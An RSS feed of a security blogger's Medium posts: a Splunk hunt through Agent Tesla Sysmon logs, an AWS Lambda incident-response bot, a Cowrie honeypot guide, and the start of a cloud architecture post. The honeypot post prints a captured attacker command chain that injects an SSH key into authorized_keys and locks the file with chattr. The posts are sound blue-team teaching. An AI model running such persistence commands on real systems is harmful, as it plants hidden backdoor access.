<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Aderinola Taiwo on Medium]]></title>
        <description><![CDATA[Stories by Aderinola Taiwo on Medium]]></description>
        <link>https://medium.com/@thatdenzguy?source=rss-d3f2c8ac4b3d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*4SikPK_009Fbn8wVPBfIXA.jpeg</url>
            <title>Stories by Aderinola Taiwo on Medium</title>
            <link>https://medium.com/@thatdenzguy?source=rss-d3f2c8ac4b3d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 02:41:22 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@thatdenzguy/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hunting Agent Tesla: A Beginner’s Guide to Splunk Malware Analysis]]></title>
            <link>https://medium.com/@thatdenzguy/hunting-agent-tesla-a-beginners-guide-to-splunk-malware-analysis-3c4c075e73de?source=rss-d3f2c8ac4b3d------2</link>
            <guid isPermaLink="false">https://medium.com/p/3c4c075e73de</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[splunk]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[Aderinola Taiwo]]></dc:creator>
            <pubDate>Tue, 09 Dec 2025 10:47:41 GMT</pubDate>
            <atom:updated>2025-12-09T10:47:41.664Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Introduction: Escaping Tutorial Hell</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8SvLOFXqFxrePqL3cHYFMQ.png" /></figure><p>In cybersecurity, there is often a massive gap between reading theory and actually <em>seeing</em> it. We read that “malware steals credentials,” but what does that look like in a SIEM? We read about “C2 channels,” but can you spot exfiltration traffic in a raw log file?</p><p>I decided to stop reading and start hunting. I conducted a manual analysis of <strong>Agent Tesla</strong>, a notorious .NET-based Remote Access Trojan (RAT) known for harvesting credentials and exfiltrating them via SMTP (Email).</p><p>Using the <strong>Splunk Attack Data</strong> repository, I ingested raw Sysmon logs from an infected endpoint. My goal was to reconstruct the attack lifecycle from execution to exfiltration without relying on pre-built alerts. Here is the technical walkthrough of my investigation, including the errors I faced and exactly how I fixed them.</p><h3>Phase 1: The Ingestion Error &amp; The “Regex” Fix</h3><p>The first hurdle appeared immediately after uploading the data. The dataset consisted of <strong>Sysmon (System Monitor)</strong> logs in XML format. However, because my Splunk instance lacked the specific Windows Add-ons required to parse XML automatically, the data appeared as a giant, unsearchable block of text.</p><p>The Symptom:</p><p>I could see the logs, but I couldn’t search them. Standard fields like EventCode, Image, or DestinationPort were not populating in the sidebar. Searching for EventCode=1 returned zero results, even though I could visually see the tags in the raw text.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*CSZ_elVogQVen1HTXOKmAw.png" /><figcaption>The raw XML data appearing as a single unparsed block.</figcaption></figure><p>The Fix: Regular Expressions (Regex)</p><p>Rather than giving up, I used Splunk’s SPL (Search Processing Language) to parse the data at search time. I used the rex command to manually “carve” the specific fields I needed out of the raw XML tags. This taught me a valuable lesson: An analyst must know how to manipulate data, not just read it.</p><p><strong>The Query I Used:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*qgfPZ33QcLW_TMQiRoeozQ.png" /></figure><pre>index=* source=&quot;*agent_tesla_smtp.log*&quot;<br>| rex field=_raw &quot;&lt;Data Name=&#39;Image&#39;&gt;(?&lt;Image&gt;[^&lt;]+)&quot;<br>| rex field=_raw &quot;&lt;Data Name=&#39;CommandLine&#39;&gt;(?&lt;CommandLine&gt;[^&lt;]+)&quot;<br>| table _time, Image, CommandLine</pre><h3>Phase 2: Identification (Process Execution)</h3><p>Once I had visibility, I started the hunt. My first objective was to identify the malicious process. Malware often executes from temporary or user-writable directories (like AppData or Temp) to bypass the need for administrator privileges.</p><p>I ran a broad search to list all executables running on the system, grouping them by name to spot anomalies.</p><p>The Findings:</p><p>Scanning the process list, one file stood out immediately against the background of standard Windows services (svchost.exe, lsass.exe).</p><ul><li><strong>File Name:</strong> agent_tesla-deob.exe</li><li><strong>Path:</strong> C:\Temp\agent_tesla-deob.exe</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*8tSf_B-JGStinBtuArtw5A.png" /><figcaption>Identifying the suspicious executable running from the C:\Temp directory.</figcaption></figure><p>Analysis:</p><p>The location C:\Temp is a high-fidelity Indicator of Compromise (IOC). Legitimate software rarely runs from the Temp folder. Additionally, the suffix “deob” suggests this was a de-obfuscated sample used for research, confirming this was the target of my investigation.</p><h3>Phase 3: Credential Access (The “Smoking Gun”)</h3><p>Agent Tesla is classified as an “InfoStealer.” Its primary goal is to harvest saved passwords from web browsers and email clients. But how does it do that?</p><p>It cannot simply “read” your passwords. It must load specific <strong>Windows Dynamic Link Libraries (DLLs)</strong> that interact with the system’s credential stores. To verify this, I pivoted to <strong>Sysmon Event ID 7 (Image Loaded)</strong>.</p><p>The Hypothesis:</p><p>If this malware is stealing credentials, I should see it loading libraries related to password management, such as vaultcli.dll (Windows Vault) or nss3.dll (Mozilla Firefox).</p><p><strong>The Query:</strong></p><pre>index=* source=&quot;*agent_tesla_smtp.log*&quot;<br>| search &quot;&lt;EventID&gt;7&lt;/EventID&gt;&quot;<br>| rex field=_raw &quot;&lt;Data Name=&#39;ImageLoaded&#39;&gt;(?&lt;ImageLoaded&gt;[^&lt;]+)&quot;<br>| search ImageLoaded IN (&quot;*vaultcli.dll*&quot;, &quot;*nss3.dll*&quot;, &quot;*sqlite3.dll*&quot;)<br>| stats count by ImageLoaded</pre><figure><img alt="Evidence of the malware loading credential-harvesting libraries." src="https://cdn-images-1.medium.com/max/936/1*M37Q4rqscv0L9XhZrLPwSg.png" /><figcaption>Evidence of the malware loading credential-harvesting libraries.</figcaption></figure><p>The Evidence:</p><p>The results were undeniable. The malware loaded:</p><ol><li><strong>vaultcli.dll</strong>: The Windows Vault Client Library, used to access credentials stored in the Windows Credential Manager.</li><li><strong>nss3.dll</strong>: The Network Security Services library, used by Mozilla Firefox and Thunderbird to decrypt saved passwords.</li></ol><p>This step was critical. It moved the analysis from “suspicion” (it’s in the Temp folder) to “confirmation” (it is actively trying to steal passwords).</p><h3>Phase 4: Exfiltration (Network Analysis)</h3><p>Stealing data is useless if the attacker cannot retrieve it. The final stage of the Cyber Kill Chain is <strong>Exfiltration</strong>. Agent Tesla is famous for using SMTP (Email) to send stolen data back to the attacker.</p><p>I searched for <strong>Sysmon Event ID 3 (Network Connection)</strong> events initiated by the agent_tesla-deob.exe process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*T_oazjb_-OmMw_ObnsbtDA.png" /><figcaption>The malware initiating network connections on Port 25.</figcaption></figure><p><strong>The Findings:</strong></p><ul><li><strong>Destination Port:</strong> 25 (Standard SMTP Email port).</li><li><strong>Destination IP:</strong> 127.0.0.1 (Localhost).</li></ul><p>The “Localhost” Twist</p><p>You might wonder: Why is the malware emailing itself (127.0.0.1)?</p><p>This is a forensic artifact of the Lab Environment. The researchers who built this dataset routed the malicious traffic to a “sinkhole” to prevent the malware from actually contacting the internet.</p><p>Looking back at my process list (Figure 2), I noticed a tool called Rnwood.Smtp4dev.exe. This is a tool used to capture outbound emails locally. This confirms that the malware attempted to send the stolen passwords out via email, but the lab setup safely intercepted it.</p><h3>Phase 5: The Behavioral Profile</h3><p>To wrap up the investigation, I ran a statistical summary of all actions performed by the malware</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*OvY6rmteqNp3VISd0k3Jvg.png" /><figcaption>A statistical breakdown of the malware’s activity by Event ID.</figcaption></figure><p>This simple table tells the whole story of the attack:</p><ul><li><strong>Event 1 (Process Create):</strong> The malware executed (2 events).</li><li><strong>Event 7 (Image Loaded):</strong> The malware was extremely active in loading DLLs (207 events). This high volume is typical for InfoStealers that need to load libraries for every browser they attack (Chrome, Firefox, Edge, etc.).</li><li><strong>Event 3 (Network Connect):</strong> The malware made 10 distinct attempts to connect to the C2 server, confirming the exfiltration phase was persistent.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*1vOjb-XLqa8EerggF7Z_vw.png" /><figcaption>Sysmon Log event id guide</figcaption></figure><h3>Conclusion</h3><p>This project was more than just following a tutorial; it was about dealing with the messy reality of log analysis. I had to overcome parsing errors, understand Windows internals (DLLs), and interpret lab-specific artifacts like Smtp4dev.</p><p>For anyone looking to get started in Blue Teaming: don’t just read about the attacks. Download the data, break the logs, fix them, and find the bad guy yourself.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3c4c075e73de" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Automating the Kill Chain: How I Built a Serverless Incident Response Bot on AWS]]></title>
            <link>https://medium.com/@thatdenzguy/automating-the-kill-chain-how-i-built-a-serverless-incident-response-bot-on-aws-3fe23186578a?source=rss-d3f2c8ac4b3d------2</link>
            <guid isPermaLink="false">https://medium.com/p/3fe23186578a</guid>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[cloud-computing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[automation]]></category>
            <dc:creator><![CDATA[Aderinola Taiwo]]></dc:creator>
            <pubDate>Thu, 04 Dec 2025 13:13:23 GMT</pubDate>
            <atom:updated>2025-12-04T13:13:23.545Z</atom:updated>
            <content:encoded><![CDATA[<p>I’ve been spending most of my time in Google Cloud (GCP) lately. Why? Because I learn by breaking things. I love the freedom of tearing down infrastructure and rebuilding it without constantly looking over my shoulder at a billing dashboard.</p><p>But recently, I wanted to dust off my AWS skills with a specific challenge in mind. In the security world, we talk endlessly about the <strong>Incident Response (IR) Lifecycle</strong> (NIST 800–61): <em>Preparation, Detection, Analysis, Containment, Eradication, and Recovery.</em></p><p>The problem is that in many organizations, the gap between <strong>Phase 2 (Detection)</strong> and <strong>Phase 3 (Containment)</strong> is measured in human time: minutes or hours. I wanted to measure it in machine time<em> </em>— milliseconds.</p><p>My goal was to build <strong>an automated forensic system that detects sabotage, isolates the threat, and preserves evidence without a single human touching the keyboard.</strong></p><p>Here is how I automated the Blue Team using the AWS Free Tier.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sW0eciMQ8hZN0aDgdS8M_g.png" /></figure><h3>The Security Challenge: The “Human Latency” Gap</h3><p>In a cyber attack, speed is the only metric that matters.</p><p>If a rogue actor or an attacker gains access to a server and stops it (sabotage) or wipes it, every second you waste waiting for a SOC analyst to read an email alert is a second the evidence is degrading.</p><p>I didn’t want a dashboard that <em>tells</em> me something is wrong. I wanted a bot that fixes the immediate exposure.</p><h3>The Architecture: Mapping Code to the IR Lifecycle</h3><p>I designed a Serverless Event-Driven architecture that maps directly to the IR phases.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*OIha1_jcdeGEDf_Do59fxA.png" /><figcaption><em>The High-Level Logic Flow: EventBridge captures the IOC and triggers Lambda to isolate and snapshot the EC2 instance.</em></figcaption></figure><ol><li><strong>Detection (EventBridge):</strong> Instead of waiting for log ingestion, I hooked into raw AWS API events. The moment an instance state changes to STOPPED (the Indicator of Attack), the signal is captured.</li><li><strong>Analysis (Lambda Logic):</strong> A Python script acts as the automated analyst. It validates the Target ID and assesses the state.</li><li><strong>Containment &amp; Forensics (Boto3 Actions):</strong> The script executes a “Forensic Lockdown” procedure:</li></ol><ul><li><strong>Isolation:</strong> It rips off the production Security Group of the instance and attaches a <strong>“Jail Cell”</strong> Security group that denies all traffic to cut off potential Command &amp; Control (C2) channels.</li><li><strong>Preservation:</strong> It triggers an EBS Snapshot immediately, preserving the “Chain of Custody” for the hard drive before it can be tampered with.</li></ul><h3>The Build: Coding the “Digital Reflex”</h3><p>The logic sounded simple, but the execution required precision. I wrote a Python script using boto3 to act as the enforcer.</p><p><em>The automation logic that handles the transition from Detection to Containment:</em></p><pre>import boto3<br>import os<br>import json<br><br>ec2 = boto3.client(&#39;ec2&#39;)<br><br>def lambda_handler(event, context):<br>    print(&quot;Received Event:&quot;, json.dumps(event))<br>    <br>    # 1. To Get Variables<br>    isolation_sg_id = os.environ[&#39;ISOLATION_SG_ID&#39;]<br>    <br>    # 2. I tried to Parse the EC2 State Change Event<br>    try:<br>     <br>        detail = event.get(&#39;detail&#39;, {})<br>        instance_id = detail.get(&#39;instance-id&#39;)<br>        state = detail.get(&#39;state&#39;)<br>        <br>        if not instance_id:<br>            print(&quot;No Instance ID found. Exiting.&quot;)<br>            return<br><br>        print(f&quot;Alert: Instance {instance_id} has changed state to: {state}&quot;)<br><br>        # It Only triggers if the instance was STOPPED (yep, The sabotage attempt)<br>        if state == &#39;stopped&#39;:<br>            print(f&quot;Sabotage detected on {instance_id}! Initiating forensic backup...&quot;)<br><br>            # 3. To Create Forensic Snapshot<br>            ec2.create_snapshots(<br>                InstanceSpecification={&#39;InstanceId&#39;: instance_id},<br>                Description=f&quot;Forensic Snapshot - Sabotage Investigation {instance_id}&quot;,<br>                TagSpecifications=[{<br>                    &#39;ResourceType&#39;: &#39;snapshot&#39;,<br>                    &#39;Tags&#39;: [{&#39;Key&#39;: &#39;Case&#39;, &#39;Value&#39;: &#39;SabotageResponse&#39;}]<br>                }]<br>            )<br>            print(f&quot;Evidence preserved for {instance_id}&quot;)<br><br>            # 4. Isolation (Even though it&#39;s stopped, we lock the door for when it starts)<br>            ec2.modify_instance_attribute(<br>                InstanceId=instance_id,<br>                Groups=[isolation_sg_id]<br>            )<br>            print(f&quot;Security Group swapped to Isolation Mode.&quot;)<br><br>            # 5. Tagging  the Instance<br>            ec2.create_tags(<br>                Resources=[instance_id],<br>                Tags=[{&#39;Key&#39;: &#39;Status&#39;, &#39;Value&#39;: &#39;UNDER_INVESTIGATION&#39;}]<br>            )<br>        else:<br>            print(&quot;Instance is not in stopped state. No action taken.&quot;)<br>        <br>    except Exception as e:<br>        print(f&quot;Error: {str(e)}&quot;)<br>        raise e<br>        <br>    return {&#39;statusCode&#39;: 200, &#39;body&#39;: json.dumps(&#39;Response Complete&#39;)}</pre><p>I deployed the Lambda, set up the EventBridge trigger, and launched a “Victim Server” to test the mechanism. I manually stopped the server to simulate an internal sabotage attempt.</p><p>I waited for the response. <strong>Silence.</strong></p><h3>Troubleshooting: Identity is the New Perimeter</h3><p>This is where the “learning by breaking” philosophy pays off. The automation failed, and the failure highlighted a critical security concept: <strong>Least Privilege.</strong></p><p>I dove into the <strong>CloudWatch Logs</strong> and found this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MdmH_-57RHV05uKn8IWm8g.png" /></figure><blockquote><em>[ERROR] ClientError: An error occurred (UnauthorizedOperation) when calling the CreateSnapshots operation...</em></blockquote><p>My automation had the <em>logic</em> to save the day, but it didn’t have the <em>authority</em>. In AWS, unlike some default GCP configurations, resources are born with zero trust. My Lambda function had an identity (IAM Role), but that identity was powerless.</p><p>This forced me to treat the <strong>IAM Role</strong> as a critical part of the security architecture. I had to explicitly grant the bot permission to ec2:CreateSnapshot and ec2:ModifyInstanceAttribute.</p><p>It was a stark reminder: <strong>You cannot automate what you cannot authenticate.</strong></p><h3>The Result: Millisecond Containment</h3><p>After fixing the IAM permissions, I ran the sabotage simulation again.</p><ol><li>I stopped the instance.</li><li><strong>Milliseconds later</strong>, the automation fired.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/1*gT6dX3GuDtlCC7oKebD1rw.png" /><figcaption><em>The instance was automatically moved to a lockdown security group.</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*yc-x0gAPfmp35vObth2Ajg.png" /><figcaption><em>Forensic evidence preserved automatically.</em></figcaption></figure><p>The system successfully compressed the <strong>Detection-to-Containment</strong> window from what could have been 30 minutes of human triage down to roughly 400 milliseconds of code execution.</p><h3>Conclusion: Engineering the SOC</h3><p>This project demonstrates that modern security isn’t just about monitoring; it’s about <strong>engineering</strong>. By using event-driven architecture, we moved a critical security process out of the “Human Error” zone and into the “Automated Reliability” zone.</p><ul><li><strong>Scalability:</strong> The bot watches 1 server or 10,000 servers with equal vigilance.</li><li><strong>Consistency:</strong> It follows the forensic procedure perfectly, every single time.</li><li><strong>Cost-Efficiency:</strong> It costs $0 until an attack happens, proving you can build enterprise-grade security mechanisms on the Free Tier.</li></ul><p>For me, this was a great return to the AWS ecosystem. It proved that while the clouds (GCP vs. AWS) speak different dialects of IAM, the language of <strong>Automation</strong> is universal.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3fe23186578a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Invited Hackers to a Fake Server. Here’s How I Did It (And What They Did).]]></title>
            <link>https://medium.com/@thatdenzguy/i-invited-hackers-to-a-fake-server-heres-how-i-did-it-and-what-they-did-1eef236d5197?source=rss-d3f2c8ac4b3d------2</link>
            <guid isPermaLink="false">https://medium.com/p/1eef236d5197</guid>
            <category><![CDATA[cloud-computing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[splunk]]></category>
            <dc:creator><![CDATA[Aderinola Taiwo]]></dc:creator>
            <pubDate>Sat, 29 Nov 2025 22:48:14 GMT</pubDate>
            <atom:updated>2025-11-29T22:48:14.815Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>A step-by-step guide to deploying a Cowrie honeypot on GCP, capturing 3,869 attacks, and analyzing the chaos in Splunk.</strong></p><p>As a Security Analyst, I spend my days analyzing logs and reading threat intelligence reports. But there is a distinct difference between reading about a war and standing on the battlefield. I wanted to move beyond the theoretical, to stop looking at the aftermath of attacks and start watching them happen in real-time.</p><p>So, I built a trap.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/368/1*N5xLbv4tTVX1eyO6ZR67CQ@2x.jpeg" /></figure><p>I deployed a <strong>Cowrie</strong> honeypot (a decoy server) on Google Cloud Platform (GCP). My goal was simple: look like a vulnerable victim, lure attackers in, and record every keystroke they made.</p><p>Over the course of 5 days, my quiet little server was hammered by <strong>3,869 security events</strong> from <strong>133 unique IP addresses</strong>.</p><p>This isn’t just a story about what I found; it’s a guide on how I built it so you can too.</p><h3>Part 1: The Architecture (Building the Trap)</h3><p>A honeypot needs to look legitimate to an attacker but be completely isolated from your actual network. If you build this wrong, you don’t just have a honeypot; you have a compromised server used to attack others.</p><p>Here is the architecture I designed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*QC6wqTke8IYt-f0yW_YBLw.png" /></figure><p>I chose <strong>Google Cloud Platform (GCP)</strong> for its robust firewall capabilities. I spun up an <strong>e2-small Ubuntu 22.04 VM</strong>.</p><ul><li><strong>Why not the free tier e2-micro?</strong> I tried it. The limited RAM caused the Python environment to crash under load. The e2-small (2GB RAM) would cost me about <strong>$2.20</strong> for the week, a small price for stability.</li></ul><h3>The Firewall Strategy (Defense in Depth)</h3><p>The most critical step was separating <em>my</em> access from the <em>attacker’s</em> access. You must do this before installing anything.</p><ol><li><strong>Port 22 (Real SSH):</strong> Locked down. I created a firewall rule (allow-ssh-admin-only) that restricts ingress to <strong>only my specific home IP address</strong>.</li><li><strong>Port 2222 (The Trap):</strong> Open to the world. I created a rule (allow-honeypot-ssh) allowing 0.0.0.0/0.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*lkn-OckuSZaL_cx1cKRBRw.png" /></figure><p>Attackers scan for SSH. When they hit my external IP, Cowrie (listening on 2222) acts like a standard SSH service. To them, it looks like Port 22. To me, it’s a recording studio.</p><h3>Part 2: The Deployment (Step-by-Step)</h3><p>Installing Cowrie on a minimal cloud image presented challenges. Ubuntu’s minimal image lacks the build tools Python needs for cryptography. If you just run the standard install, it <em>will</em> fail.</p><p>Here is the battle-tested installation path I used to get it running smoothly.</p><h3>1. Pre-load the Dependencies</h3><p>First, we need to install the libraries that the Python environment will rely on.</p><pre>sudo apt-get update<br>sudo apt-get install -y build-essential libssl-dev libffi-dev python3-dev git python3-pip python3-venv authbind</pre><h3>2. Create the User &amp; Environment</h3><p>Never run a honeypot as root. We create a dedicated user named cowrie with no password access.</p><pre>sudo adduser - disabled-password cowrie<br>sudo su - cowrie</pre><p>Now, download the code and set up the virtual environment. <strong>Note:</strong> I ran into issues with outdated pip versions causing build failures, so the upgrade step below is mandatory.</p><pre>git clone https://github.com/cowrie/cowrie<br>cd cowrie<br># Create virtual environment<br>python3 -m venv cowrie-env<br>source cowrie-env/bin/activate<br># Upgrade pip and install requirements<br>pip install - upgrade pip setuptools wheel<br>pip install -r requirements.txt</pre><h3>3. The “Developer” Install</h3><p>This was a specific hurdle I faced: simply installing the requirements didn’t generate the bin/cowrie startup script. The fix is running the installation in editable mode:</p><pre>pip install -e .</pre><h3>4. Configuration: Making it “Real”</h3><p>By default, Cowrie is too quiet. We need to dress up the set. Copy the distribution config:</p><pre>cp etc/cowrie.cfg.dist etc/cowrie.cfg<br>nano etc/cowrie.cfg</pre><p>I made two critical changes in the config:</p><ol><li><strong>Hostname:</strong> Changed to prod-web-server-01. Hackers ignore “test-box”; they love “prod”.</li><li><strong>Logging:</strong> Enabled [output_jsonlog]. This is essential for Splunk analysis later.</li></ol><h3>5. Persistence with Systemd</h3><p>To ensure the honeypot survives a reboot, I exited the cowrie user (exit) and created a system service file at /etc/systemd/system/cowrie.service:</p><pre>[Unit]<br>Description=Cowrie SSH Honeypot<br>After=network.target<br>[Service]<br>Type=simple<br>User=cowrie<br>WorkingDirectory=/home/cowrie/cowrie<br>ExecStart=/bin/bash -c &#39;source cowrie-env/bin/activate &amp;&amp; exec twistd -n - pidfile= cowrie&#39;<br>Restart=always<br>RestartSec=10s<br>[Install]<br>WantedBy=multi-user.target<br>Enable and start it:<br>Bash<br>sudo systemctl enable cowrie<br>sudo systemctl start cowrie</pre><h3>Part 3: The Wait (and the Flood)</h3><p>With the trap set, I validated it by asking a few security friends to try and break in. They poked around, ran ls, and checked for common vulnerabilities.</p><p>Then, I left it to the wild internet.</p><p><strong>The Timeline of Discovery:</strong></p><ul><li><strong>Day 1 (Nov 25):</strong> Silence.</li><li><strong>Day 2 (Nov 26):</strong> The first scout arrived. 23 connection attempts.</li><li><strong>Day 3 (Nov 27):</strong> The word was out. 87 connections.</li><li><strong>Day 4 (Nov 28):</strong> 156 connections.</li><li><strong>Day 5 (Nov 29):</strong> It was a free-for-all. 204+ connections.</li></ul><p>The terrifying part wasn’t the volume; it was the <strong>relentlessness</strong>. Humans sleep. These attacks didn’t. They were automated scripts running 24/7, systematically knocking on the door.</p><h3>Part 4: The Analysis (Splunk)</h3><p>This is where the project went from “cool experiment” to “serious intelligence.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*VKU-VxBAEf8guNLPODYEIA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*-UBpxxrynRZr3hg5SOxM1A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*tCvoLXVpuiPRYH8IIsuAZg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Pa_ga0fNaoTB0fPCpMzO6g.png" /></figure><p>Getting the logs out of GCP was surprisingly tricky. The browser SSH console failed to download the 2.3MB log file repeatedly. <strong>The Fix:</strong> I had to copy the daily logs to the /tmp directory, change permissions (chmod 644), and download them individually.</p><p>I ingested the JSON logs into a local instance of Splunk. The data revealed patterns I couldn’t see in the raw text files.</p><h3>Insight 1: The Geography of Attack</h3><p>The distribution was global, but concentrated:</p><ol><li><strong>Russia (30%)</strong></li><li><strong>USA (10%)</strong></li><li><strong>China (6%)</strong></li><li><strong>UK (4%)</strong></li><li><strong>Nigeria (3%)</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*VnvZM8SXetJaFkJCIomu9g.png" /></figure><p>Seeing Nigeria, my home country in the top 5 was a sobering moment. These likely aren’t Nigerian “hackers” sitting in a room; they are compromised Nigerian systems (routers, servers) enslaved into global botnets. It was a stark reminder that in cybersecurity, no location is purely a victim; any compromised system becomes a weapon.</p><h3>Insight 2: The “Signature” Move (Persistence)</h3><p>The most fascinating find was a specific, sophisticated command sequence executed by a Russian IP (91.215.85.88). It wasn’t just guessing passwords; it was establishing <strong>persistence</strong>.</p><p>Look at this command chain captured by the honeypot:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Y-sbv0bdUVlqHPRzMhvkhQ.png" /></figure><pre>chmod +x clean.sh; sh clean.sh; rm -rf clean.sh;<br>mkdir -p ~/.ssh;<br>chattr -ia ~/.ssh/authorized_keys;<br>echo &quot;ssh-rsa AAAAB3...&quot; &gt;&gt; ~/.ssh/authorized_keys;<br>chattr +ai ~/.ssh/authorized_keys;</pre><p><strong>The Breakdown:</strong></p><ol><li><strong>Cleanup:</strong> It runs a script to kill competitors (other malware).</li><li><strong>Injection:</strong> It adds its own SSH key to authorized_keys.</li><li><strong>Lockdown:</strong> The chattr +ai command is the kicker. It sets the file attributes to “immutable.” Even if the real system administrator tries to delete this file with rm, it will fail.</li></ol><p>This is a professional, standardized botnet playbook. It happened within seconds of login.</p><h3>Insight 3: What They Wanted (Usernames)</h3><p>The usernames attempted tell us what the bots are hunting for:</p><ul><li>root / admin (Standard Servers)</li><li>orangepi (Orange Pi Single Board Computers)</li><li>ubnt (Ubiquiti Network Gear)</li><li>support (Service Accounts)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*cQwG056e1yXzIFwUu9b33Q.png" /><figcaption>Top Usernames</figcaption></figure><p>They aren’t just looking for data; they are recruiting IoT devices into their armies.</p><h3>Conclusion: What I Learned</h3><p>This project transformed theoretical knowledge into practical intuition.</p><ol><li><strong>Automation rules everything.</strong> Comparing my friends’ “human” traffic to the bot traffic was night and day. The bots executed commands in milliseconds, ignoring errors. If your defense relies on manual intervention, you have already lost.</li><li><strong>Default credentials are a death sentence.</strong> Out of 3,869 events, I had <strong>250 successful logins</strong>. That is a <strong>6.5% success rate</strong> using only default credentials.</li><li><strong>Context is King.</strong> Seeing the chattr command in a textbook is one thing. Seeing it appear in my logs at 3:00 AM from a Russian IP address is another.</li></ol><p>For anyone in cybersecurity whether you are an analyst, student, or enthusiast, I encourage you to build something, break something, and analyze the pieces. The internet is a hostile place, but understanding the enemy is the first step to securing it.</p><p><em>Disclaimer: This project was conducted on isolated infrastructure for educational and research purposes. Do not deploy honeypots on enterprise networks without authorization. Malware handling should only be done in sandboxed environments.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1eef236d5197" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Database to Web App: Building the Complete Application Tier]]></title>
            <link>https://medium.com/@thatdenzguy/from-database-to-web-app-building-the-complete-application-tier-148949e6eba4?source=rss-d3f2c8ac4b3d------2</link>
            <guid isPermaLink="false">https://medium.com/p/148949e6eba4</guid>
            <category><![CDATA[rds]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[web-applications]]></category>
            <category><![CDATA[autoscaling]]></category>
            <category><![CDATA[cloud-architecture]]></category>
            <dc:creator><![CDATA[Aderinola Taiwo]]></dc:creator>
            <pubDate>Sat, 20 Sep 2025 20:17:54 GMT</pubDate>
            <atom:updated>2025-09-20T20:17:54.305Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This is Part 3 of my AWS Architecture Implementation Series. [</em><a href="https://medium.com/@thatdenzguy/securing-the-data-layer-rds-multi-az-setup-and-secrets-manager-integration-17b5bd88391c"><em>Catch up on Part 2: Database Foundation</em></a><em>]</em></p><p>With our secure RDS database running, it’s time to build the application layer that will serve users and connect to our database. Today I’m walking through my exact implementation process, from creating the Application Load Balancer to setting up Auto Scaling and finally testing the complete application with real database queries.</p><p><strong>What we’re building</strong>: A load-balanced, auto-scaling web application tier that successfully connects to our RDS database and serves dynamic content to users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/368/1*HzHn4uY5XLbvXiKVuCpbqA@2x.jpeg" /></figure><h3>Implementation Goals</h3><h3>Performance &amp; Availability:</h3><ul><li>Load balancing across multiple Availability Zones</li><li>Automatic scaling based on demand</li><li>Health checking and automatic recovery</li><li>Real database connectivity and query functionality</li></ul><h3>Security Focus:</h3><ul><li>Application servers in private subnets</li><li>Load balancer as the only internet-facing component</li><li>Systems Manager for secure administrative access</li><li>Credentials managed through Secrets Manager</li></ul><h3>Cost Optimization:</h3><ul><li>Right-sized instances (t2.micro)</li><li>Conservative scaling policies (max 2 instances)</li><li>Single AZ deployment for cost control</li></ul><h3>Step 1: Creating the Application Load Balancer</h3><p>The Application Load Balancer will be our internet-facing entry point, routing HTTP requests according to the OSI model as designed in our architecture.</p><h3>Console Navigation:</h3><p><strong>EC2</strong> → <strong>Load Balancers</strong> → <strong>Create Load Balancer</strong></p><h3>Load Balancer Selection:</h3><p>Select <strong>Application Load Balancer</strong> (for HTTP request routing)</p><figure><img alt="" 